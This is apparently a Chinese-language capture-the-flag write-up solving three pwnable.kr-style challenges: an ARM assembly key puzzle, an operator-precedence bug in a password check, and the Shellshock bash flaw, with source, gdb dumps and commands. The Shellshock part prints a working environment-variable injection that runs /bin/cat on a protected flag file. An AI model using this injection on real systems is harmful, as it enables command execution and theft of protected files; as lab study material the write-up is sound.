leg
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
获取flag的条件是key1+key2+key3=key;
看来是一道考察某个基础知识点的题目,关键在于asm()函数。
asm()能把()内语句写入到汇编中执行,既然这样,直接看汇编代码。
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
可以看到move r3,pc这个在key1函数中出现的语句被写到了汇编中。
PC即寄存器R15,对于ARM指令集而言,PC总是指向当前指令的下两条指令的地址,即PC的值为当前指令的地址值加8个字节程序状态寄存器。由此可知r3的值就是0x00008cdc+8,然后下一条语句出现了r0,在ARM里r0是作为函数的返回值,所以key1=r0=r3=0x00008cdc+8.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
根据上一步,看到mov r0,r3 所以key2=r0=r3=PC+4但是到这里往上逆推的时候出现了bx
BX: 带状态切换的跳转。最低位为1时,切换到Thumb指令执行,为0时,解释为ARM指令执行。
关于B开头的各种指令:https://blog.youkuaiyun.com/zhaolina004/article/details/48035079
因为R6=PC+1,所以bx跳转到Thumb模式,这时PC=当前程序地址+4
所以key2=0x00008d04+4+4
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
还是一样,key3=r0=r3=lr
R14称为子程序链接寄存器LR(Link Register)有两个特殊功能,一种是每一种模式下都可以用于保存函数的返回地址,另外就是异常处理后的返回地址,如中断。
这题里的lr是作为函数的返回地址,即main函数中执行完key3函数后的下一个程序语句的地址
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
由此可得key3=lr=0x00008d80
写个python小程序做加法
a=0x8cdc+8
b=0x8d04+0x4+0x4
c=0x8d80
d=a+b+c;
print(d);
提交结果,得到flag
mistake
这题的题目描述里有个hint,提示我们这题关键在于运算符的优先级
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
第一个if语句里同时出现了=和<,这时候先执行<,然后才是执行=,因为password文件是可以打开的,所以open返回文件描述符0,0<0=false,所以fd=0
因此第二个if语句中的read其实是以fd作为文件描述符,即标准输入,把我们键盘输入的内容传给pwn_buf
因此这个程序是让我们在"input password"之前输入pw_buf的值,之后再输入pw_buf2的值,然后把pw_buf2的值按位异或0,接着再和pw_buf做比较,相等则strncmp返回0,执行system语句
所以可以输入0000000000 1111111111,总之pw_buf和pw_buf2每一位不同即可得到flag
shellshock
这题提示说是基于真实案例。shellshock漏洞存在于4.1版本之前的bash中。
通过往环境变量中添加执行语句,可以让bash执行任意命令
具体格式为
shellshock@ubuntu:~$ env x='() { :;}; echo v' ./bash -c "echo this is a test"
这样屏幕就会输出
v
this is a test
注意空格。
因为bash在执行之前会引入环境变量(env查看当前环境变量),这时候环境变量内如果有可执行语句,也会一起执行。
如果直接执行
shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./bash -c "echo this is a test"
会返回
/bin/cat: flag: Permission denied
Segmentation fault
而shellshock中既调动了bash,还让我们有了访问flag的权限。
所以直接执行
shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
得到flag
//为什么会出现Segmentation fault,还有bash在读取环境变量时为何会执行语句,以及setresuid()和setresgid()两个函数的定义并没有搞清楚。